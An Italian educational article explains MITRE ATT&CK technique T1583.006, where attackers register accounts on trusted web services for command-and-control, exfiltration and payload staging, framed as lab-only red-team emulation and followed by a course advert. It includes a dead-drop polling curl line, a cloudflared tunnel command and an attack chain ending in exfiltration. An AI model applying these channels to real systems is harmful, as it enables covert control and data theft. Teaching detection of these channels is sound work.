Servizi Web Ostili: Web Services (T1583.006)

La sottotecnica T1583.006 descrive la registrazione, da parte di un avversario, di account su servizi web legittimi e diffusi da riutilizzare nelle fasi successive dell'attacco. Piattaforme come Google Drive, GitHub, Dropbox, Twitter, Discord, Telegram, Pastebin o servizi di tunneling Cloudflare offrono infrastruttura affidabile, cifrata (TLS) e statisticamente indistinguibile dal traffico aziendale legittimo. È questa la loro forza: nascondersi nel rumore atteso.

La tecnica appartiene alla tattica TA0042 (Resource Development), la fase in cui l'attaccante crea, acquista o compromette risorse a supporto delle operazioni. Non è compromissione diretta della vittima, ma preparazione: l'infrastruttura predisposta qui verrà poi usata come canale di Command and Control (Web Service), per l'Exfiltration Over Web Service o per ospitare payload e lure di Phishing.

Il vantaggio operativo è duplice. Da un lato, l'uso di provider globali rende difficile ricondurre fisicamente le operazioni all'attore, perché il traffico termina su domini fidati con certificati validi. Dall'altro, molte organizzazioni non ispezionano né bloccano servizi cloud d'uso quotidiano, lasciando un canale aperto per default.

I numeri raccontano la diffusione del fenomeno: 27 gruppi documentati e 4 campagne note ricorrono a questa tecnica, da attori state-sponsored a operatori di spionaggio. L'unica mitigazione mappata è M1056 (Pre-compromise), a conferma che il contrasto avviene prevalentemente osservando l'uso dell'infrastruttura, non la sua acquisizione.

Trattandosi di una tecnica pre-compromise (TA0042), in un ingaggio red team l'obiettivo è simulare l'acquisizione di infrastruttura web per validare le capacità di rilevamento del cliente, restando lab-safe e nei limiti delle regole d'ingaggio.

Il primo passo consiste nel predisporre account operativi su servizi diffusi in un tenant di laboratorio dedicato, mai riutilizzando identità reali. Molti framework offensivi supportano nativamente i canali web come trasporto C2. Con Merlin (open source) e Mythic (open source) è possibile configurare profili di comunicazione che imitano API legittime; il classico External C2 consente di veicolare il beacon attraverso un servizio terzo anziché un dominio dedicato.

Un pattern storico riproducibile è il C2 basato su social o storage. Gli attori hanno usato handle Twitter generati algoritmicamente, repository GitHub, cartelle Dropbox e Google Drive come dead-drop resolver. In laboratorio si può emulare il concetto con uno script che fa polling di un file su un endpoint di storage cloud tramite le API ufficiali del provider, senza pubblicare nulla di realmente malevolo:

curl -s -H "Authorization: Bearer " /task.txt

Per il tunneling e l'esposizione di servizi interni, i team hanno abusato di Cloudflare Tunnel (freemium) tramite il client cloudflared, con comandi del tipo cloudflared tunnel --url http://localhost:8080, e del vecchio ngrok (freemium). Questi canali terminano su domini fidati e certificati validi, rendendo il traffico difficile da distinguere.

Sul fronte payload staging, l'emulazione può includere l'hosting di file di test su un bucket controllato o su una pagina Pastebin di laboratorio, replicando la catena osservata in cui lure e downloader di primo stadio risiedono su Dropbox.

Catena d'attacco tipica da riprodurre:

  • registrazione account su servizio web fidato (storage, code hosting, messaging);
  • upload del payload di test o pubblicazione del comando su una risorsa condivisa;
  • l'implant su endpoint di laboratorio recupera istruzioni via API HTTPS legittime;
  • esfiltrazione simulata caricando un archivio cifrato sullo stesso canale.

Per chi vuole esercitare rilevamento e risposta, Atomic Red Team (open source) fornisce test riproducibili per l'exfiltration verso servizi web, e Sliver (open source) permette di sperimentare profili di trasporto alternativi. L'obiettivo dell'esercizio non è l'anonimato reale, ma dimostrare quanto un canale cloud fidato bypassi controlli perimetrali basati solo su reputazione del dominio.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.